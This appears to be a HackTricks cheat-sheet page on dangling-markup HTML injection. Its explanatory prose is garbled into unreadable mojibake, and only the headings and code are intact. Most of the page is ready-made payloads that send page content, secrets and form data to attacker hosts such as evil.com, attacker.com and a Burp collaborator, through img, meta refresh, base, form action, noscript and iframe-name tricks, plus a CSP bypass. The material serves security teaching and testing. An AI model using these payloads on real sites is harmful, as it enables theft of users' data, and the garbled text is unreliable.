.. | ||
README.md | ||
ss-leaks.md |
Dangling Markup - HTML scriptless injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Resume
рдпрд╣ рддрдХрдиреАрдХ рддрдм рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдЬрдм HTML injection рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ рдпрджрд┐ рдЖрдк рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рдвреВрдВрдврддреЗ рд╣реИрдВ XSS рдХреЛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓реЗрдХрд┐рди рдЖрдк рдХреБрдЫ HTML рдЯреИрдЧреНрд╕ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдпрд╣ рддрдм рднреА рдЙрдкрдпреЛрдЧреА рд╣реИ рдпрджрд┐ рдХреБрдЫ рдЧреБрдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ HTML рдореЗрдВ рд╕рд╣реЗрдЬреА рдЧрдИ рд╣реИ рдФрд░ рдЖрдк рдЗрд╕реЗ exfiltrate рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдпрд╛ рдпрджрд┐ рдЖрдк рдХреБрдЫ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рднрдЯрдХрд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред
рдпрд╣рд╛рдВ рдЯрд┐рдкреНрдкрдгреА рдХреА рдЧрдИ рдХрдИ рддрдХрдиреАрдХреЗрдВ рдХреБрдЫ Content Security Policy рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рддрд░реАрдХреЛрдВ (html рдЯреИрдЧреНрд╕, CSS, http-meta рдЯреИрдЧреНрд╕, рдлреЙрд░реНрдо, рдмреЗрд╕...) рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА exfiltrate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред
Main Applications
Stealing clear text secrets
рдпрджрд┐ рдЖрдк <img src='http://evil.com/log.cgi?
рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬрдм рдкреГрд╖реНрда рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдкреАрдбрд╝рд┐рдд рдЖрдкрдХреЛ рд╕рднреА рдХреЛрдб рднреЗрдЬреЗрдЧрд╛ рдЬреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП img
рдЯреИрдЧ рдФрд░ рдХреЛрдб рдХреЗ рдЕрдВрджрд░ рдЕрдЧрд▓реЗ рдЙрджреНрдзрд░рдг рдХреЗ рдмреАрдЪ рд╣реИред рдпрджрд┐ рдХрд┐рд╕реА рддрд░рд╣ рдПрдХ рдЧреБрдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рдЙрд╕ рд╣рд┐рд╕реНрд╕реЗ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ рдЪреБрд░рд╛ рд▓реЗрдВрдЧреЗ (рдЖрдк рдПрдХ рдбрдмрд▓ рдЙрджреНрдзрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдпрд╣реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рджреЗрдЦреЗрдВ рдХрд┐ рдХреМрди рд╕рд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ)ред
рдпрджрд┐ img
рдЯреИрдЧ рдирд┐рд╖рд┐рджреНрдз рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП CSP рдХреЗ рдХрд╛рд░рдг) рддреЛ рдЖрдк <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ Chrome HTTP URLs рдХреЛ "<" рдпрд╛ "\n" рдХреЗ рд╕рд╛рде рдмреНрд▓реЙрдХ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдк "ftp" рдЬреИрд╕реЗ рдЕрдиреНрдп рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕реНрдХреАрдореЛрдВ рдХреЛ рдЖрдЬрдорд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдЖрдк CSS @import
рдХрд╛ рднреА рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдпрд╣ рд╕рднреА рдХреЛрдб рдХреЛ рднреЗрдЬреЗрдЧрд╛ рдЬрдм рддрдХ рдХрд┐ рдпрд╣ ";" рдирд╣реАрдВ рдвреВрдВрдв рд▓реЗрддрд╛)ред
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
рдЖрдк <table
рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
<table background='//your-collaborator-id.burpcollaborator.net?'
рдЖрдк <base
рдЯреИрдЧ рднреА рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рддрдм рддрдХ рднреЗрдЬреА рдЬрд╛рдПрдЧреА рдЬрдм рддрдХ рдЙрджреНрдзрд░рдг рдмрдВрдж рдирд╣реАрдВ рд╣реЛ рдЬрд╛рддрд╛ рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХрд┐рд╕реА рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рдмреЗрд╕ рдЯреИрдЧ рдиреЗ рд▓рд┐рдВрдХ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдбреЛрдореЗрди рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛ рд╣реЛрдЧрд╛):
<base target=' <--- Injected
steal me'<b>test</b>
рдлреЙрд░реНрдо рдЪреБрд░рд╛рдирд╛
<base href='http://evil.com/'>
рдлрд┐рд░, рд╡реЗ рдлреЙрд░реНрдо рдЬреЛ рдбреЗрдЯрд╛ рдХреЛ рдкрде рдкрд░ рднреЗрдЬрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ <form action='update_profile.php'>
) рдбреЗрдЯрд╛ рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдбреЛрдореЗрди рдкрд░ рднреЗрдЬреЗрдВрдЧреЗред
Stealing forms 2
рдПрдХ рдлреЙрд░реНрдо рд╣реЗрдбрд░ рд╕реЗрдЯ рдХрд░реЗрдВ: <form action='http://evil.com/log_steal'>
рдпрд╣ рдЕрдЧрд▓реЗ рдлреЙрд░реНрдо рд╣реЗрдбрд░ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдЧрд╛ рдФрд░ рдлреЙрд░реНрдо рд╕реЗ рд╕рднреА рдбреЗрдЯрд╛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ред
Stealing forms 3
рдмрдЯрди URL рдХреЛ рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдлреЙрд░реНрдо рдХреА рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬреА рдЬрд╛рдПрдЧреА "formaction" рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде:
<button name=xss type=submit formaction='https://google.com'>I get consumed!
рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЬрд╛рдирдХрд╛рд░реА рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдЦреЛрдЬреЗрдВред
рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рд░рд╣рд╕реНрдпреЛрдВ рдХреА рдЪреЛрд░реА 2
рдлрд╛рд░реНрдо рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд╡реАрдирддрдо рдЙрд▓реНрд▓реЗрдЦрд┐рдд рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП (рдПрдХ рдирдпрд╛ рдлреЙрд░реНрдо рд╣реЗрдбрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛) рдЖрдк рдлрд┐рд░ рдПрдХ рдирдпрд╛ рдЗрдирдкреБрдЯ рдлрд╝реАрд▓реНрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
<input type='hidden' name='review_body' value="
рдФрд░ рдпрд╣ рдЗрдирдкреБрдЯ рдлрд╝реАрд▓реНрдб рдЕрдкрдиреЗ рдбрдмрд▓ рдХреЛрдЯ рдХреЗ рдмреАрдЪ рдФрд░ рдЕрдЧрд▓реЗ рдбрдмрд▓ рдХреЛрдЯ рдХреЗ рдмреАрдЪ рд╕рднреА рд╕рд╛рдордЧреНрд░реА рдХреЛ HTML рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдЧрд╛ред рдпрд╣ рд╣рдорд▓рд╛ "Stealing clear text secrets" рдХреЛ "Stealing forms2" рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рддрд╛ рд╣реИред
рдЖрдк рдПрдХ рдлрд╝реЙрд░реНрдо рдФрд░ рдПрдХ <option>
рдЯреИрдЧ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рд╡рд╣реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рднреА рдбреЗрдЯрд╛ рддрдм рддрдХ рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрдм рддрдХ рдПрдХ рдмрдВрдж </option>
рдирд╣реАрдВ рдорд┐рд▓ рдЬрд╛рддрд╛:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Form parameter injection
рдЖрдк рдПрдХ рдлреЙрд░реНрдо рдХреЗ рдкрде рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдирдП рдорд╛рди рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдПрдХ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдХреНрд░рд┐рдпрд╛ рдХреА рдЬрд╛рдПрдЧреА:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> тЖР Injected lines
<form action="/change_settings.php"> тЖР Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> тЖР Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Stealing clear text secrets via noscript
<noscript></noscript>
рдПрдХ рдЯреИрдЧ рд╣реИ рдЬрд┐рд╕рдХрд╛ рд╕рд╛рдордЧреНрд░реА рддрдм рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддрд╛ (рдЖрдк Chrome рдореЗрдВ chrome://settings/content/javascript рдкрд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕рдХреНрд╖рдо/рдЕрдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред
рдПрдХ рддрд░реАрдХрд╛ рд╣реИ рд╡реЗрдм рдкреГрд╖реНрда рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдмрд┐рдВрджреБ рд╕реЗ рдиреАрдЪреЗ рддрдХ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╕рд╛рдЗрдЯ рдкрд░ рдирд┐рдХрд╛рд▓рдиреЗ рдХрд╛, рдпрд╣ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЗ рд╕рд╛рде CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛
рдЗрд╕ portswiggers рд╢реЛрдз рд╕реЗ рдЖрдк рд╕реАрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ CSP рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рд╕реЗ рднреА рдЖрдк рдХреБрдЫ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдЕрд╡рд╕рд░ рдкрд░ рд╣рдо рдкреЗрд▓реЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рд╢рд┐рдХрд╛рд░ рд╕реЗ рдПрдХ рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣реЗрдВрдЧреЗ рдЬреЛ рдЙрд╕реЗ рдкреЗрд▓реЛрдб рдХреА рдУрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕реЗ рдЖрдк рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ base
рдЯреИрдЧ рдХреЗ рдЕрдВрджрд░ target
рд╡рд┐рд╢реЗрд╖рддрд╛ рдореЗрдВ HTML рд╕рд╛рдордЧреНрд░реА рд╣реЛрдЧреА рдЕрдЧрд▓реА рдПрдХрд▓ рдЙрджреНрдзрд░рдг рддрдХред
рдЗрд╕рд╕реЗ рдпрд╣ рд╣реЛрдЧрд╛ рдХрд┐ рдпрджрд┐ рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ window.name
рдХрд╛ рдорд╛рди рд╕рднреА HTML рд╕рд╛рдордЧреНрд░реА рд╣реЛрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдЪреВрдВрдХрд┐ рдЖрдк рдЙрд╕ рдкреГрд╖реНрда рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬрд╣рд╛рдВ рд╢рд┐рдХрд╛рд░ рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рдкрд╣реБрдВрдЪ рд░рд╣рд╛ рд╣реИ, рдЖрдк рдЙрд╕ window.name
рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Misleading script workflow 1 - HTML namespace attack
HTML рдХреЗ рдЕрдВрджрд░ рдПрдХ рдирдпрд╛ рдЯреИрдЧ рдФрд░ рдЖрдИрдбреА рдбрд╛рд▓реЗрдВ рдЬреЛ рдЕрдЧрд▓реЗ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдЧрд╛ рдФрд░ рдПрдХ рдРрд╕рд╛ рдорд╛рди рд╣реЛрдЧрд╛ рдЬреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░реЗрдЧрд╛ред рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЖрдк рдпрд╣ рдЪреБрди рд░рд╣реЗ рд╣реИрдВ рдХрд┐ рдЬрд╛рдирдХрд╛рд░реА рдХрд┐рд╕рдХреЗ рд╕рд╛рде рд╕рд╛рдЭрд╛ рдХреА рдЬрд╛рдПрдЧреА:
<input type='hidden' id='share_with' value='fredmbogo'> тЖР Injected markup
...
Share this status update with: тЖР Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Misleading script workflow 2 - Script namespace attack
HTML рдЯреИрдЧреНрд╕ рдбрд╛рд▓рдХрд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд╛рдорд╕реНрдерд╛рди рдХреЗ рдЕрдВрджрд░ рд╡реЗрд░рд┐рдПрдмрд▓ рдмрдирд╛рдПрдВред рдлрд┐рд░, рдпрд╣ рд╡реЗрд░рд┐рдПрдмрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░реЗрдЧрд╛:
<img id='is_public'> тЖР Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) тЖР The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; тЖР Condition always evaluates to true
...
}
Abuse of JSONP
рдпрджрд┐ рдЖрдк рдПрдХ JSONP рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдордирдорд╛рдиреЗ рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдПрдХ рдордирдорд╛рдиреА рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ:
<script src='/editor/sharing.js'>: тЖР Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: тЖР Injected JSONP call
set_sharing({ ... })
рдпрд╛ рдЖрдк рдХреБрдЫ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
<script src='/search?q=a&call=alert(1)'></script>
Iframe abuse
рдПрдХ рдмрд╛рд▓ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдЕрдкрдиреЗ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдХреА location
рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рджреЗрдЦрдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрддреА рд╣реИ, рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рднреАред рдпрд╣ рдПрдХ iframe рдХреЗ рднреАрддрд░ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдХрд┐рд╕реА рднреА рдкреГрд╖реНрда рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
рдпрд╣ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдХрдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: sandbox=' allow-scripts allow-top-navigation'
рдПрдХ iframe рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЕрд▓рдЧ рдкреГрд╖реНрда рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ iframes рдирд╛рдо рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рдЖрдк рдПрдХ iframe рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╕реНрд╡рдпрдВ рдХреЛ iframe рдХрд░рддрд╛ рд╣реИ, HTML рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЬреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ iframe рдирд╛рдо рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЙрд╕ рдирд╛рдо рдХреЛ рдкреНрд░рд╛рд░рдВрднрд┐рдХ iframe рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ рд▓реАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abuse
рдЖрдк meta http-equiv
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдИ рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ рдПрдХ Cookie рд╕реЗрдЯ рдХрд░рдирд╛: <meta http-equiv="Set-Cookie" Content="SESSID=1">
рдпрд╛ рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рдирд╛ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ 5 рд╕реЗрдХрдВрдб рдореЗрдВ): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
рдЗрд╕реЗ CSP рдХреЗ рд╕рд╛рде рдЯрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ http-equiv рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ ( Content-Security-Policy: default-src 'self';
, рдпрд╛ Content-Security-Policy: http-equiv 'self';
)
New <portal HTML tag
рдЖрдк <portal рдЯреИрдЧ рдХреЗ рд╢реЛрд╖рдгреАрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдкрд░ рдПрдХ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╢реЛрдз рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдЗрд╕ рд▓реЗрдЦрди рдХреЗ рд╕рдордп рдЖрдкрдХреЛ Chrome рдореЗрдВ chrome://flags/#enable-portals
рдкрд░ portal рдЯреИрдЧ рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдпрд╛ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред
<portal src='https://attacker-server?
HTML Leaks
HTML рдореЗрдВ рдХрдиреЗрдХреНрдЯрд┐рд╡рд┐рдЯреА рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд╕рднреА рддрд░реАрдХреЗ Dangling Markup рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдХрднреА-рдХрднреА рдпрд╣ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрдиреНрд╣реЗрдВ рдпрд╣рд╛рдБ рдЪреЗрдХ рдХрд░реЗрдВ: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
рдпрд╣ dangling markup рдФрд░ XS-Leaks рдХреЗ рдмреАрдЪ рдХрд╛ рдПрдХ рдорд┐рд╢реНрд░рдг рд╣реИред рдПрдХ рддрд░рдл, рдпрд╣ рднреЗрджреНрдпрддрд╛ HTML (рд▓реЗрдХрд┐рди JS рдирд╣реАрдВ) рдХреЛ same origin рдХреЗ рдПрдХ рдкреГрд╖реНрда рдореЗрдВ inject рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕реЗ рд╣рдо рд╣рдорд▓рд╛ рдХрд░реЗрдВрдЧреЗред рджреВрд╕рд░реА рддрд░рдл, рд╣рдо рдЙрд╕ рдкреГрд╖реНрда рдкрд░ рд╕реАрдзреЗ рд╣рдорд▓рд╛ рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ рдЬрд╣рд╛рдБ рд╣рдо HTML inject рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдмрд▓реНрдХрд┐ рджреВрд╕рд░реЗ рдкреГрд╖реНрда рдкрд░ рдХрд░реЗрдВрдЧреЗред
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
